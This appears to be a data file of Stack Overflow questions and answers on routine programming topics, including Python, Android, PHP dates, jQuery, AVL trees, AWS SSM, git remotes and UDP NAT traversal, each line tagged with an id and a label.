15755847	0	 <p>I presume you want the strings instead of the numerical values, correct?</p> <pre><code>s = '' for j in range(30, 0, -1): s += "{}/{} + ".format(31-j, j) print s[:-2] </code></pre> <p>Read <a href="http://docs.python.org/3/library/string.html#format-string-syntax" rel="nofollow">this documentation</a> to get a grasp of it. Essentially, it's formatting the string, using the two pairs of curly braces as placeholders, and passing in the value 31-j in the first slot, and j in the second.</p> <p>Surely there is a more elegant way to do it, but this is the quick and dirty method.</p>
29487821	0	 <p>You are using django 1.6.5, in this version migrations were not introduced so its may give you error on running migrations because django rest framework auth token migration tries to import migrations from django.db</p> <p>Upgrade your south package from 0.8.4 to 1.0.1 version that will solve your problem Please check the following link related to south version 1.0.1 <a href="http://south.readthedocs.org/en/latest/releasenotes/1.0.html" rel="nofollow">http://south.readthedocs.org/en/latest/releasenotes/1.0.html</a></p>
7613322	0	 <p>I am trying to build a huge central for 9-patch images.</p> <p>Feel free to visit and grab whatever you need from there.</p> <p>As long as it is for building your android applications :)</p> <p><a href="http://android9patch.blogspot.com/">http://android9patch.blogspot.com/</a></p>
23475818	0	SpannableStringBuilder cannot be cast to android.text.SpannableString <p>I need to save data from <code>TextView</code> to and SQLite database in HTML format.</p> <p>I'm using this code to convert text from <code>TextView</code> to HTML-formatted string:</p> <pre><code>public static String htmlToString(TextView textview) { SpannableString contentText = (SpannableString) textview.getText(); return Html.toHtml(contentText).toString(); } </code></pre> <p>However, I get this error:</p> <blockquote> <p>05-05 17:01:37.033: E/AndroidRuntime(14295): java.lang.ClassCastException: android.text.SpannableStringBuilder cannot be cast to android.text.SpannableString</p> </blockquote> <p>How can I fix this?</p>
39739495	0	 <p>I think you need:</p> <pre><code>print (data[0].min(axis=1)) 0 3662.1 1 3660.0 2 3659.5 3 3660.0 4 3661.5 5 3662.6 6 3661.5 7 3660.0 8 3661.5 9 3662.1 10 3660.0 11 3661.0 12 3664.1 13 3664.1 14 3661.5 15 3661.0 ... ... </code></pre> <p>Maybe beter is omit <code>flow = pd.DataFrame(data)</code> and use:</p> <pre><code>data = [pd.read_csv(f, index_col=None, header=None) for f in temp] mins = [df.min(axis=1) for df in data[0]] print (mins[0]) print (mins[1]) </code></pre>
8308369	0	 <p>You can store anything you like in localStorage provided the item stored is turned into a string, no problem in your case, and the total storage doesn't exceed 5Mb per site.</p> <p>You approach could something like this.</p> <ol> <li>When the page loads (use jQuery) check if the base HTML template is there</li> <li>If not use jQuery to load it and store it in localStorage</li> <li>use a jQuery selector to select the appropriate element in the current page. This could be the element. And use $(...).html(stored html template); to display the base html.</li> <li>If you need to insert dynamic values use something like John Resig <a href="http://ejohn.org/blog/javascript-micro-templating/" rel="nofollow">MicroTemplating</a> to insert variables.</li> </ol>
20248466	0	 <p><code>Nancy.Testing</code> does not use any network communication at all. If you can think of a nice abstract then please let us know and we can talk and see if it's something we'd like to get into the package!</p>
12448760	0	 <p>There are better ways to solve your problem. The typical protocol I use is:</p> <ul> <li>Register a window message using <a href="http://www.google.de/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=1&amp;cad=rja&amp;ved=0CCAQFjAA&amp;url=http://msdn.microsoft.com/en-us/library/windows/desktop/ms644947%28v=vs.85%29.aspx&amp;ei=AP9VUOGwEM7asgbEwoGQDw&amp;usg=AFQjCNHLyesu0zvZPqoRPseqiIB_aU4yAA&amp;sig2=D5DF_rScIHllWpasvxGK5g" rel="nofollow"><code>RegisterWindowMessage</code></a> in both applications. The message name should contain a GUID to make it unique</li> <li>In Application A, use<br> <code>PostMessage(HWND_BROADCAST, registeredMsg, idIWantToFindYou, HWNDofA)</code><br> to publish <em>your</em> window handle to all top level windows. since there's more than one use for registered messages, and you should limit the number of messages you register, use <code>idIWantTofindYou</code> to distinguish between different commands for your message. </li> <li>The receiving application(s) B now have the window handle of the sender, and can establish a connection (e.g. by<br> <code>PostMessage(HWNDofA, registeredMessage, idHereIsMyHWnd, HWNDofB)</code></li> </ul> <p>The upside of this mechanism is not running into problems with unresponsive programs. However, the "connection" isn't immediate, so you have to change your program flow. Alternatively, you can use <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms633497%28v=vs.85%29.aspx" rel="nofollow"><code>EnumWindows</code></a> and <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms644952%28v=vs.85%29.aspx" rel="nofollow"><code>SendMessageTimeout</code></a> to probe all top-level windows.</p> <hr> <p>If you need to use the window class: </p> <p>The class name assigned by MFC is only so window classes with the same attributes get reused. I am not aware of any problems with using your own window classes. </p> <p>So the following <em>should</em> work:</p> <ul> <li>Fill a <code>WNDCLASS</code> or <code>WNDCLASSEX</code> with the required attributes</li> <li>Use <code>DefWindowProc</code> as <code>WNDPROC</code> (that's what MFC does, MFC's <code>WNDPROC</code> is set when creating the window)</li> <li>Use <a href="http://msdn.microsoft.com/en-us/library/kcb1w44w%28VS.80%29.aspx" rel="nofollow"><code>AfxRegisterClass</code></a> or <code>RegisterClass</code> to register the window class. <code>AfxRegisterClass</code> checks if the class is already registered and if the class is registered from a DLL, it will unregister the class when the DLL is unloaded. Otherwise they are roughly equivalent. </li> </ul>
4353080	0	Testing on a single-core PC with hyperthreading <p>If a multithreaded program runs safe on a single-core CPU with hyperthreading, will it also run safe on a dual-core CPU with hyperthreading? Concerning thread-safety etc.</p> <p>EDIT</p> <p>Ok, I try to be more specific. I mean the bad source code lines, where I will have forgotten or failed to make sure, that they won't be an (concurrency) issue.</p> <p>So, maybe the 1-core htt "lies" by preventing dead-locks, crashes, cpu spikes or anything that my code causes on a 2-core machine. I'm unsure, how exactly 2 (logical) processors of a htt PC are different from 2 processors of a dual-core PC, how transparent htt is. If there's any issue, I'll probably buy a second PC just for that, that's why I asked.</p>
27412177	0	custom pager for knockout arrayBinding <p>i need to make a custom pager like [&lt;] 1 2 3 4 ... > for a knockout binding array with 5 items. The items are in an article cuote .</p> <p>I already tried with some examples aviables on internet, but i'm new in this matters so i didn't solve the issue.</p> <p>Can someone tell me how i can do this? greetings comunity!</p>
7034090	0	 <p>The class is being applied by the date picker plug-in, probably using the <code>addClass</code> function. The plug-in, when it's initialized, probably creates a <code>DIV</code> (<code>id=;dp-popup'</code>) that has the necessary values for the current month. That <code>DIV</code> is hidden (<code>display:none</code>) but still has the class of dp-popup when first initialized. When you click in the textbox or click the button, there's an event handler assigned to those events (<code>focus</code> for the textbox, <code>click</code> for the button) that sets the display style of the <code>DIV</code> to not be hidden and it also positions it right below the text box.</p> <p>I didn't dig into the code a whole lot, but looking at the markup a little, that's how I suspect it's working.</p>
36002165	0	How do you reduce Vertex cover to Hamiltonian Cycle? <p><a href="http://i.stack.imgur.com/HH8Bp.jpg" rel="nofollow">This is the example the book uses</a></p> <p>The book I'm using is Introduction to Algorithms 3rd edition. Anyway they explain how to reduce Vertex Cover to Hamiltonian Cycle to prove Hamiltonian Cycle is NP complete. I understand that for every edge in the vertex cover you need to create a widget, and I understand that for every member of the vertex cover you have a selector. However what's giving me problems is the method of moving through the widgets. There is a formula but it seems very arbitrary to me. Could anyone explain it in simpler terms? I'd much appreciate it.</p> <p>Edit: I also understand there exist three different ways in which you have traverse a widget.</p>
11258645	0	 <p>Judging on your "desired output" image, your usage of kmeans is wrong. The pixel coordinates should play no role in the clustering. You should only hand the color triplets to kmeans.</p> <pre><code>sample = cvCreateMat( image-&gt;height*image-&gt;width, 3, CV_32FC1 ); </code></pre> <p>…</p> <pre><code> for(j=0;j&lt;image-&gt;width;j++) { b = data[i*image-&gt;widthStep + j*image-&gt;nChannels +0]; g = data[i*image-&gt;widthStep + j*image-&gt;nChannels +1]; r = data[i*image-&gt;widthStep + j*image-&gt;nChannels +2]; cvSetReal2D( sample, k, 0, b); cvSetReal2D( sample, k, 1, g); cvSetReal2D( sample, k, 2, r); k++; } </code></pre> <p>Then you also have an indexing bug further down the road when setting data.</p>
5489502	0	How to get previous month and year relative to today, using strtotime and date? <p>I need to get previous month and year, relative to current date.</p> <p>However, see following example.</p> <pre><code>// Today is 2011-03-30 echo date('Y-m-d', strtotime('last month')); // Output: 2011-03-02 </code></pre> <p>This behavior is understandable (to a certain point), due to different number of days in february and march, and code in example above is what I need, but works only 100% correctly for between 1st and 28th of each month.</p> <p>So, how to get last month AND year (think of <code>date("Y-m")</code>) in the most elegant manner as possible, which works for every day of the year? Optimal solution will be based on <code>strtotime</code> argument parsing.</p> <p>Update. To clarify requirements a bit.</p> <p>I have a piece of code that gets some statistics of last couple of months, but I first show stats from last month, and then load other months when needed. That's intended purpose. So, during THIS month, I want to find out which month-year should I pull in order to load PREVIOUS month stats.</p> <p>I also have a code that is timezone-aware (not really important right now), and that accepts <code>strtotime</code>-compatible string as input (to initialize internal date), and then allows date/time to be adjusted, also using <code>strtotime</code>-compatible strings.</p> <p>I know it can be done with few conditionals and basic math, but that's really messy, compared to this, for example (if it worked correctly, of course):</p> <pre><code>echo tz::date('last month')-&gt;format('Y-d') </code></pre> <p>So, I ONLY need previous month and year, in a <code>strtotime</code>-compatible fashion.</p> <p>Answer (thanks, @dnagirl):</p> <pre><code>// Today is 2011-03-30 echo date('Y-m-d', strtotime('first day of last month')); // Output: 2011-02-01 </code></pre>
28790503	0	Are there security measures against udp hole punching? <p>I want to establish an UDP communication between two peers, say Alice and Bob. Alice is behind a port restricted cone NAT (so that the same internal port gets mapped to the same external port even if the destination is changed), while Bob is behind a symmetric NAT (which means that the external port will change every time a new destination is chosen regardless of the internal port, thus making the external port unpredictable). I have a server in between and I want to make an UDP hole punch.</p> <p>I implemented the following strategy:</p> <ul> <li>Bob opens a large number of ports and from all of them sends a packet to Alice's external port (he gets to know if through the server).</li> <li>Alice sends packets to Bob's NAT at random ports until the connection is established.</li> </ul> <p>Having two NATs of those types at hand, I did some experiments. Bob opens 32 ports, and Alice sends 64 packets every 0.1 seconds. The connection is usually established within 1 or 2 seconds, which is more than suitable for my needs.</p> <p>However, I was wondering if I could get in trouble with some strict NAT routers or firewalls. On example, could it happen that a router won't allow an internal peer to open 32 ports? Or (and this sounds somehow more likely) could it happen that a router that sees a lot of packets incoming on random ports that get dropped will blacklist the ip and drop all its packets for some time? I read that sometimes this could happen in case of a DoS attack but my packet rate is something like 4 to 6 orders of magnitude lighter than a DoS attack.</p> <p>I am asking about reasonable network configuration: I am pretty sure that in principle it is possible to setup a firewall to behave in that way. I will be targeting mainly users that lie behind standard home connections, so my main target is common internet providers that use NATs.</p>
39697387	1	Real-time Synchronize data between two python application <p>Im going to have two python scripts. one is server and another one is client. the server is used to get information from Network Devices like Router or Switch via SNMP. The client needs to get the data from server and output to users.</p> <p>My algorithm is to let server store all data from snmp into MySQL every minute. Then client reads data from Mysql and show out to user interface every minute also. </p> <p>I would like to know if there is any other better way to synchronize data between server and client?</p> <p>Thank in advance. </p>
10645240	0	 <p>Your first example you have no period before <code>'ui-state-highlight'</code> so you are trying to select elements with a TYPE of ui-state-highlight (as opposed to a type of DIV, INPUT, SELECT, etc)</p> <pre><code> $('ui-state-highlight') </code></pre> <p>Your second example you actually select elements with a class of 'ui-state-default'</p> <pre><code> $('.ui-state-default') </code></pre> <p><strong>Edit:</strong> Based on your corrections I am guessing that the problem here is that you may be trying to get the background color for any elements with the ui-state-highlight class but there aren't any actually displayed on your page.</p> <p>Try the following code, based on answer to <a href="http://stackoverflow.com/questions/2707790/get-a-css-value-from-external-style-sheet-with-javascript-jquery">Get a CSS value from external style sheet with Javascript/jQuery</a></p> <pre><code>var $p = $("&lt;p class='ui-state-highlight'&gt;&lt;/p&gt;").hide().appendTo("body"); input = $p.css("background"); $p.remove(); </code></pre> <p>You create a new <code>&lt;p&gt;&lt;/p&gt;</code> temporarily and then grab the background color off it before removing it.</p>
39975924	0	 <p>try this</p> <pre><code>Option Explicit Sub test() Dim j As Long Dim rng As Range, cell As Range Dim i As Long j = Application.InputBox("No. of rows to be inserted?", Type:=1) With Worksheets("REFS") '&lt;-_| change "REFS" to your actual worksheet name i = 1 With .Range("D2", .Cells(.Rows.Count, "D").End(xlUp)) Do While i &lt;= .Rows.Count With .Cells(i).EntireRow .Copy .Offset(1).Resize(j).Insert Shift:=xlDown Application.CutCopyMode = False End With i = i + j + 1 Loop End With End With End Sub </code></pre> <p>I'm using <a href="https://msdn.microsoft.com/en-us/library/office/ff839468(v=office.15).aspx" rel="nofollow">Application.InputBox()</a> method instead of <a href="https://msdn.microsoft.com/en-us/library/office/aa195768(v=office.11).aspx" rel="nofollow">VBA InputBox()</a> one because the former lets you force the user input data type (in the example Type:=1 forces <em>numeric</em> input)</p>
25040579	0	Variables initialized as long ints in for loop cause crash <p>Using MinGW C compiler, this code crashes my program. NN has value 439470944 and NN and j are initialized as long-integers.</p> <pre><code>float *F=NULL; F = (float *)malloc(NN*sizeof(float)); for(j=0; j&lt;NN;j++) F[j] = 0; // ensure F[] starts empty. </code></pre>
37314219	0	 <p>First, of course, your application must declare that it is doing serial communication in the application manifest: </p> <pre><code>&lt;DeviceCapability Name="serialcommunication"&gt; &lt;Device Id="vidpid:xxxx xxxx"&gt; &lt;Function Type="name:serialPort"/&gt; &lt;/Device&gt; &lt;/DeviceCapability&gt; </code></pre> <p>Could this be the missing bit?</p>
12825367	0	 <p>You should have no problem. Just add your own event handler using jQuery's API and you'll be set. From the jQuery Docs on <code>.on()</code>:</p> <blockquote> <p>As of jQuery 1.4, the same event handler can be bound to an element multiple times.</p> </blockquote> <pre><code>$('#myButton').on('click', myHandler) </code></pre>
12061689	0	 <p>Found it! <a href="http://dylanmarkow.com/blog/2012/05/06/load-order-with-rubymotion/" rel="nofollow">http://dylanmarkow.com/blog/2012/05/06/load-order-with-rubymotion/</a></p>
33201579	0	 <p>Your additional field is inside an element with</p> <pre><code>ng-if="register" </code></pre> <p>ng-if is a directive that creates its own scope. So, when something is entered into the field <code>&lt;input ng-model="email" ...&gt;</code>, an email attribute is created and populated <strong>in the ng-if scope</strong>, instead of being created in the controller scope.</p> <p>Rule of thumb: always have a dot in your ng-model, and always initialize the form model in the controller:</p> <pre><code>$scope.formModel = {}; &lt;input ng-model="formModel.email" ...&gt; </code></pre> <p>This will also make things simpler, since to post the form, all you'll have to do is something like</p> <pre><code>$http.post(url, $scope.formModel).then(...); </code></pre>
28637862	0	 <p>Have a look at DateDiff function: <a href="http://www.w3schools.com/vbscript/func_datediff.asp" rel="nofollow">http://www.w3schools.com/vbscript/func_datediff.asp</a>. Example:</p> <pre><code>diff = DateDiff("d", "02/19/2015", "02/20/2015") ' difference in days diff = DateDiff("h", "02/19/2015", "02/20/2015") ' difference in hours diff = DateDiff("n", "02/19/2015", "02/20/2015") ' difference in mins diff = DateDiff("s", "02/19/2015", "02/20/2015") ' difference in seconds </code></pre> <p>To calculate the difference, you would need to parse out the date from the string and use DateDiff. </p> <p>The order of dates determines the output. In the example above, all values will be positive. If you revert them, output would result in negative. Providing the same date/time will result in 0.</p> <pre><code>diff = DateDiff("d", "02/20/2015", "02/19/2015") ' output = -1 diff = DateDiff("d", "02/20/2015", "02/20/2015") ' output = 0 </code></pre>
36123828	0	Double from CoreData returns very small number <p>I am working on a diving application, and one of the feature is to store diving's rating as double into CoreData. The interface should be able to retrieve the double value from the coredata object and then display on screen. However, the problem I got from my code is that the double returned from the object is very small (e with the power of -315). I have no idea why this is happening.</p> <pre><code>if let dives = self.diveSite?.logged_dives { for dive in dives { print("######### dive site info ########") rating = Double(dive.rating) + rating print(dive) print("raw dive site rating is \(dive.rating)") print("dive rating is \(rating)") } } else { print("no logged_dives") } </code></pre> <p>Here is what's been printed out on the console...</p> <pre><code>######### dive site info ######## &lt;ScubaDoo.DiveLog: 0x7fe9ea02cbc0&gt; (entity: DiveLog; id: 0xd000000000180002 &lt;x-coredata://2B6F1E6F-1EDA-4910-91FA-0593E05F9EB2/DiveLog/p6&gt; ; data: { current = nil; depth = 0; "dive_at" = "0xd000000000140000 &lt;x-coredata://2B6F1E6F-1EDA-4910-91FA-0593E05F9EB2/DiveSite/p5&gt;"; id = nil; latitude = 0; longitude = 0; rating = 5; "sea_condition" = nil; temperature = 0; time = nil; weather = nil; }) raw dive site rating is 5.35679601527854e-315 dive rating is 1.06203402623994e-314 dive site rating is 1.06203402623994e-314 </code></pre> <p>The DiveLog object in swift is as below. I really do not have a clue about this. It seems that something is out of bound while getting the rating properties?</p> <pre><code>import Foundation import CoreData extension DiveLog { @NSManaged var time: NSDate? @NSManaged var latitude: NSNumber? @NSManaged var id: String? @NSManaged var rating: NSNumber? @NSManaged var depth: NSNumber? @NSManaged var temperature: NSNumber? @NSManaged var weather: String? @NSManaged var current: String? @NSManaged var sea_condition: String? @NSManaged var longitude: NSNumber? @NSManaged var dive_at: DiveSite? } </code></pre>
4758750	0	JQuery restart setInterval <p>Sorry to be a bore but having trouble restarting a setInterval with a toggle function. I get to stop it - when needed, but I cannot get it to restart when the toggle "closes"</p> <p>Here is my code </p> <p>Set the setInterval</p> <pre><code>var auto_refresh = setInterval( function() { $('.holder').load('board.php'); }, 5000 ); </code></pre> <p>Stop on toggle - BUT want it to start on the "reverse toggle"</p> <pre><code>$('.readmore').live('click',function() { $(this).next().slideToggle('slow'); clearInterval(auto_refresh); }, function() { var auto_refresh = setInterval( function() { $('.holder').load('board.php'); }, 5000 ); }); </code></pre> <p>Help much appreciated, as is prob. very simple just I've never beed good at putting functions "within functions"</p>
13330043	0	Git remote branches not listed <p>So I'm trying to create a remote branch so I can push updates to a project I'm doing to my Github account, but for whatever reason, my remote branches aren't being created.</p> <p>These are the commands I am running:</p> <pre><code>git remote add origin git@github.com:&lt;username&gt;/first_app.git git push origin master </code></pre> <p>After running the first line, everything seems to work fine and I don't get any error messages. BUT, when I check what remote branches I have, nothing will show. The command I ran for that was:</p> <pre><code>git branch -r </code></pre> <p>Ignoring that I figured I would at least try the second command from above. When I did, naturally, it says:</p> <pre><code>ERROR: Repository not found </code></pre> <p>If someone could help me figure this out it would be greatly appreciated. I've been trying to find information on this online but haven't run into anything yet.</p>
27875459	0	 <p>No, there isn't. By the time the timeout function runs, the browser will have already submitted the form and be loading the new page. </p> <p>If you want to cancel the submission <em>conditionally</em> than the closest you could come would be to <em>always</em> prevent the default form behaviour and then conditionally restart it (by calling <code>submit()</code>) in the timeout.</p>
21829617	0	Reducing multi-column xts to single column xts based on provided column indexes <p>I have an xts object with multiple columns of the same type. I have another xts object with integers that correspond to column positions in the first object. I would like to generate an third xts object that contains one column representing the value of the column indicated by the corresponding index. For example:</p> <pre><code># xts.1: 2003-07-30 17:00:00 0.2015173 0.10159303 0.19244332 0.08138396 2003-08-28 17:00:00 0.1890154 0.06889412 0.12700216 0.04631253 2003-09-29 17:00:00 0.1336947 0.08023267 0.09167604 0.02376319 2003-10-30 16:00:00 0.1713496 0.13324238 0.11427968 0.05946272 # xts.2: 2003-07-30 17:00:00 1 2003-08-28 17:00:00 4 2003-09-29 17:00:00 2 2003-10-30 16:00:00 3 # Desired result: 2003-07-30 17:00:00 0.2015173 2003-08-28 17:00:00 0.04631253 2003-09-29 17:00:00 0.08023267 2003-10-30 16:00:00 0.11427968 </code></pre> <p>I feel like I'm missing something very elementary about how to do this but, if so, it's escaping me at the moment.</p>
13031499	0	 <p>Ok - here is a very basic working example of list indexing. The main change is to move the creation of the model from getModel() to prepare(). This is because getModel() is called for every value you need to set the list - so you end up re-creating your model each time overwriting the previous change.</p> <pre><code>package com.blackbox.x.actions; import java.util.ArrayList; import java.util.List; import com.blackbox.x.actions.ListDemo.ValuePair; import com.opensymphony.xwork2.ActionSupport; import com.opensymphony.xwork2.ModelDriven; import com.opensymphony.xwork2.Preparable; public class ListDemo extends ActionSupport implements ModelDriven&lt;List&lt;ValuePair&gt;&gt;, Preparable { private List&lt;ValuePair&gt; values; @Override public List&lt;ValuePair&gt; getModel() { return values; } public String execute() { for (ValuePair value: values) { System.out.println(value.getValue1() + ":" + value.getValue2()); } return SUCCESS; } public void prepare() { values = new ArrayList&lt;ValuePair&gt;(); values.add(new ValuePair("chalk","cheese")); values.add(new ValuePair("orange","apple")); } public class ValuePair { private String value1; private String value2; public ValuePair(String value1, String value2) { this.value1 = value1; this.value2 = value2; } public String getValue1() { return value1; } public void setValue1(String value1) { this.value1 = value1; } public String getValue2() { return value2; } public void setValue2(String value2) { this.value2 = value2; } } } </code></pre> <p>and the corresponding jsp </p> <pre><code>&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt; &lt;html&gt; &lt;head&gt; &lt;/head&gt; &lt;body&gt; &lt;s:form action="list-demo" theme="simple"&gt; &lt;table&gt; &lt;s:iterator value="model" status="rowStatus"&gt; &lt;tr&gt; &lt;td&gt;&lt;s:textfield name="model[%{#rowStatus.index}].value1" value="%{model[#rowStatus.index].value1}"/&gt;&lt;/td&gt; &lt;td&gt;&lt;s:textfield name="model[%{#rowStatus.index}].value2" value="%{model[#rowStatus.index].value2}"/&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/s:iterator&gt; &lt;/table&gt; &lt;s:submit/&gt; &lt;/s:form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
35135273	0	 <p>Using <a href="http://docs.aws.amazon.com/ssm/latest/APIReference/Welcome.html" rel="nofollow">Amazon EC2 Simple Systems Manager</a>, you can configure an SSM document to run a script on an instance, and pass that script a parameter. The Lambda instance would need to run the SSM send-command, targeting the instance by its instance id.</p> <p>Sample SSM document: run_my_example.json:</p> <pre><code>{ "schemaVersion": "1.2", "description": "Run shell script to launch.", "parameters": { "taskId":{ "type":"String", "default":"", "description":"(Required) the Id of the task to run", "maxChars":16 } }, "runtimeConfig": { "aws:runShellScript": { "properties": [ { "id": "0.aws:runShellScript", "runCommand": ["run_my_example.sh"] } ] } } } </code></pre> <p>The above SSM document accepts taskId as a parameter.</p> <p>Save this document as a JSON file, and call create-document using the AWS CLI:</p> <pre><code>aws ssm create-document --content file:///tmp/run_my_example.json --name "run_my_example" </code></pre> <p>You can review the description of the SSM document by calling <code>describe-document</code>:</p> <pre><code>aws ssm describe-document --name "run_my_example" </code></pre> <p>You can specify the taskId parameter and run the command by using the document name with the <code>send-command</code></p> <pre><code>aws ssm send-command --instance-ids i-12345678 --document-name "run_my_example" --parameters --taskid=123456 </code></pre> <p><strong>NOTES</strong></p> <ul> <li><p>Instances must be running the <a href="http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/remote-commands-prereq.html" rel="nofollow">latest version of the SSM agent</a>.</p></li> <li><p>You will need to have some logic in the Lambda script to identify the instance ids of the server EG look up the instance id of a specifically tagged instance.</p></li> </ul>
15416778	0	 <p>Like TGMCians says, a <code>Toast</code> will do the trick.</p> <p>If you want to write it to the LogCat instead, then you can use</p> <pre><code>Log.i(tag, message) </code></pre> <p>You can then view this in the LogCat in Eclipse by going to Window > Show View > Other > Android > LogCat</p>
22620997	0	 <p><code>XML Tools</code> from the <code>Plugin Manager</code> can do the trick as well. Then once download the plugin, tick <code>Tag auto-close</code> in <code>Plugins &gt; XML Tools</code></p>
28913483	0	 <pre><code>$numdays = cal_days_in_month (CAL_GREGORIAN, $mon,$yr); for($i=1;$i&lt;=$numdays;$i++) { if(date('N',strtotime($y.'-'.$m.'-'.$i))==7) $sun++; } </code></pre> <p>Sunday calculation after u calculate employee working days </p> <pre><code>$tot=$numdays-$sun-$emp_working_days;echo $tot; </code></pre>
4228434	0	 <p>The reason your initial attempt is not working is that you're attempting to capitalize a symbol or a string that represents the field name and not the actual variable.</p> <p>You could do something like this and then the data would be capitalized before it's sent to the view.</p> <pre><code>@sexes = Sex.all @sexes = @sexes.each{|sex| sex.name.capitalize} </code></pre> <p>or</p> <pre><code>@sexes = Sex.all.each{|sex| sex.name.capitalize} </code></pre>
30777456	0	Trouble rebalancing the root node of an AVL tree <p>Hello guys i seem to be having trouble rebalancing the AVL tree. It balances everything else except the root node. I don't know why it doesn't balance the root node. When i pass values such as 50, 40, 30, 20, and 10. I get 50,30, 20, 10 and 40. 50 should not be the root, the correct root value should be 40. Below is my code:</p> <pre><code>public void insert(T data){ AVLNode&lt;T&gt; newNode = new AVLNode&lt;T&gt;(data); if(isEmpty()){ root = newNode; } else{ insert(root, newNode); } } private void insert(AVLNode&lt;T&gt; root, AVLNode&lt;T&gt; newNode){ if(newNode.getData().compareTo(root.getData())&lt;0){ if(root.getLeftChild()!=null){ AVLNode&lt;T&gt; leftNodes = root.getLeftChild(); insert(leftNodes, newNode); root.setLeftChild(rebalance(leftNodes)); } else{ root.setLeftChild(newNode); } } else if(newNode.getData().compareTo(root.getData())&gt;0){ if(root.getRightChild()!=null){ AVLNode&lt;T&gt; rightNodes = root.getRightChild(); insert(rightNodes, newNode); root.setRightChild(rebalance(rightNodes)); } else{ root.setRightChild(newNode); } } else{ root.setData(newNode.getData()); } updateHeight(root); } //re-balances the tree. private AVLNode&lt;T&gt; rebalance(AVLNode&lt;T&gt; root){ int difference = balance(root); if (difference &gt; 1){ if(balance(root.getLeftChild())&gt;0){ root = rotateRight(root); } else{ root = rotateLeftRight(root); } } else if(difference &lt; -1){ if(balance(root.getRightChild())&lt;0){ root = rotateLeft(root); } else{ root = rotateRightLeft(root); } } return root; } //updates the height of the tree. public void updateHeight(AVLNode&lt;T&gt; root){ if((root.getLeftChild()==null) &amp;&amp; (root.getRightChild()!=null)){ root.setHeight(root.getRightChild().getHeight()+1); } else if((root.getLeftChild() !=null)&amp;&amp;(root.getRightChild()==null)){ root.setHeight(root.getLeftChild().getHeight()+1); } else root.setHeight(Math.max(getHeight(root.getLeftChild()), getHeight(root.getRightChild()))+1); } private int balance(AVLNode&lt;T&gt; root) { return getHeight(root.getLeftChild())-getHeight(root.getRightChild()); } //single left left rotation of the tree private AVLNode&lt;T&gt; rotateLeft(AVLNode&lt;T&gt; root){ AVLNode&lt;T&gt; NodeA = root.getRightChild(); root.setRightChild(NodeA.getLeftChild()); NodeA.setLeftChild(root); root.setHeight(Math.max(getHeight(root.getLeftChild()), getHeight(root.getRightChild()))+1); //updates the height NodeA.setHeight(Math.max(getHeight(NodeA.getLeftChild()), getHeight(NodeA.getRightChild()))+1); return NodeA; } //single right right rotation of the tree private AVLNode&lt;T&gt; rotateRight(AVLNode&lt;T&gt; root){ AVLNode&lt;T&gt; NodeA = root.getLeftChild(); root.setLeftChild(NodeA.getRightChild()); NodeA.setRightChild(root); root.setHeight(Math.max(getHeight(root.getLeftChild()), getHeight(root.getRightChild()))+1); //updates the height of the AVL tree NodeA.setHeight(Math.max(getHeight(NodeA.getLeftChild()), getHeight(NodeA.getRightChild()))+1); return NodeA; } //a double rotation. Left right rotation private AVLNode&lt;T&gt; rotateLeftRight(AVLNode&lt;T&gt; root){ AVLNode&lt;T&gt; nodeA = root.getLeftChild(); root.setLeftChild(rotateLeft(nodeA)); return rotateRight(root); } //a right left rotation private AVLNode&lt;T&gt; rotateRightLeft(AVLNode&lt;T&gt; root){ AVLNode&lt;T&gt; nodeA = root.getRightChild(); root.setRightChild(rotateRight(nodeA)); return rotateLeft(root); } </code></pre>
21810681	0	Android calls onNavigationItemSelected too late to guard against it <p>Even though I am a frequent reader, this is my first question on Stackoverflow, so be gentle. ;)</p> <p>I have an activity that can be navigated laterally using a view pager or an action bar drop down list. To achieve this, I have attached an OnPageChangeListener and an OnNavigationListener to update the view pager when navigating by the action bar and vice versa. </p> <p>In order to avoid an infinite loop (pager listener setting action bar, navigation listener gets notified and sets pager, pager gets notified and sets action bar, etc.), I acquire a lock and check for this in the beginning of my event handler (the boolean field <code>inhibited</code>). </p> <p>Since I know that the consequent updates will happen asynchronously, by means of Android posting layout requests on the message queue, I release the lock asynchronously as well by wrapping it in a <code>Runnable</code> and posting it to the queue.</p> <p>My expectation would be that this my runnable gets placed on the queue <em>after</em> all the messages posted by the framework to update the action bar spinner, view pager and whatever else it is that it thinks it needs to be doing, since these should all be posted during the calls to <code>pager.setCurrentItem</code>, <code>navigationAdapter.notifyDataSetChanged</code> and <code>setSelectedNavigationItem</code>. (An expectation that is also reflected in the // comment.) However, when running this code, I find my callback is invoked from the OnNavigationListener after the lock is already released. </p> <p>My question is, where does this delayed call come from and how can I <em>elegantly</em> prevent it (that is without ugly hacks like <code>postDelayed</code> or the like)?</p> <p>Here is the code for my Listener:</p> <pre><code>private class NavigationListener implements OnPageChangeListener, OnNavigationListener { private boolean inhibited = false; protected void inhibit() { inhibited = true; } protected void release() { inhibited = false; } private void moveToPosition(int monthId) { if (!inhibited) { try { inhibit(); pager.setCurrentItem(pagerAdapter.getIndex(monthId), true); navigationAdapter.notifyDataSetChanged(); getActionBar().setSelectedNavigationItem(navigationAdapter.getPositionForMonth(monthId)); } finally { // Need to release asynchronously because calling setCurrentItem and notifyDataSetChanged will // (asynchronously) refresh the UI and cause calls to their respective listeners. Therefore, simply // releasing the lock would result in an infinite loop. // When posting this runnable, any posts from setting the pager page and refreshing the spinner data // will already have been posted, so the release call is guaranteed to be behind them in the message queue. // Likewise, it is sure to be executed before the user can produce more input events, that is, any additional // swipe gestures or selections will be added to the message queue after the release call. pager.post(new Runnable() { @Override public void run() { release(); } }); } } } public boolean onNavigationItemSelected(int itemPosition, long itemId) { int month = (int) itemId; moveToPosition(month); /* more irrelevant code here */ return true; } public void onPageScrollStateChanged(int arg0) {} public void onPageScrolled(int arg0, float arg1, int arg2) {} public void onPageSelected(int position) { moveToPosition(pagerAdapter.getMonthId(position)); } } </code></pre> <p>Can post more code if required but didn't want to spam the question....</p>
